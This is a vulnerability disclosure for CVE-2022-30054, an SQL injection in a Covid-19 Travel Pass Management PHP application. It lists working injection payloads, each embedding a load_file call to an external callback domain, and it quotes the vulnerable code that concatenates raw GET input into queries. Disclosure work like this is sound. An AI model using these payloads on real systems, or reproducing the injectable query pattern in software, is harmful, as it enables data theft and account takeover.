CVE-2022-30054: CVE-nu11secur1ty/vendors/oretnom23/2022/Covid-19-Travel-Pass-Management at main · nu11secur1ty/CVE-nu11secur1ty

The code parameter appears to be vulnerable to SQL injection attacks. The payload ‘+(select load_file(‘\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\kyy’))+’ was submitted in the code parameter. This payload injects a SQL sub-query that calls MySQL’s load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can take administrator accounts control and also of all accounts on this system, also the malicious user can download all information about this system.

— Parameter: code (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: page=view_pass&code=775545’+(select load_file(‘\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy’))+’’ OR NOT 7325=7325 AND 'vRQn’=’vRQn

Type: error\-based
Title: MySQL \>= 5.0 AND error\-based \- WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: page\=view\_pass&code\=775545'+(select load\_file('\\\\\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\\\kyy'))+'' AND (SELECT 1607 FROM(SELECT COUNT(\*),CONCAT(0x7171707071,(SELECT (ELT(1607=1607,1))),0x7176707171,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a) AND 'HjrM'\='HjrM

Type: time\-based blind
Title: MySQL \>= 5.0.12 AND time\-based blind (query SLEEP)
Payload: page\=view\_pass&code\=775545'+(select load\_file('\\\\\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\\\kyy'))+'' AND (SELECT 2775 FROM (SELECT(SLEEP(5)))lkxH) AND 'bdqR'\='bdqR

Type: UNION query
Title: MySQL UNION query (NULL) \- 10 columns
Payload: page\=view\_pass&code\=775545'+(select load\_file('\\\\\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\\\kyy'))+'' UNION ALL SELECT NULL,CONCAT(0x7171707071,0x584d675163465844744f504c484d4256425463675863674948566f6b68474f464f64634e6b5a596a,0x7176707171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

—

<?php

if(isset($_GET[‘code’]) && $_GET[‘code’] > 0){ $qry = $conn->query(“SELECT * FROM application_list where code = '{$_GET[‘code’]}’”); if($qry->num_rows > 0){ foreach($qry->fetch_assoc() as $k => $v){ $$k=$v; } if(isset($individual_id)){ $user_qry = $conn->query("SELECT *, concat(lastname, ', ', firstname, ' ‘, coalesce(middlename,’’)) as `name` from `individual_list` where id = ‘{$individual_id}’ "); if($qry->num_rows > 0){ foreach($user_qry->fetch_assoc() as $k => $v){ $inv[$k]=$v; } $meta_qry = $conn->query("SELECT * FROM `individual_meta` where `individual_id` = ‘{$individual_id}’ "); while($row = $meta_qry->fetch_assoc()){ $inv[$row[‘meta_field’]] = $row[‘meta_value’]; } } } } } ?>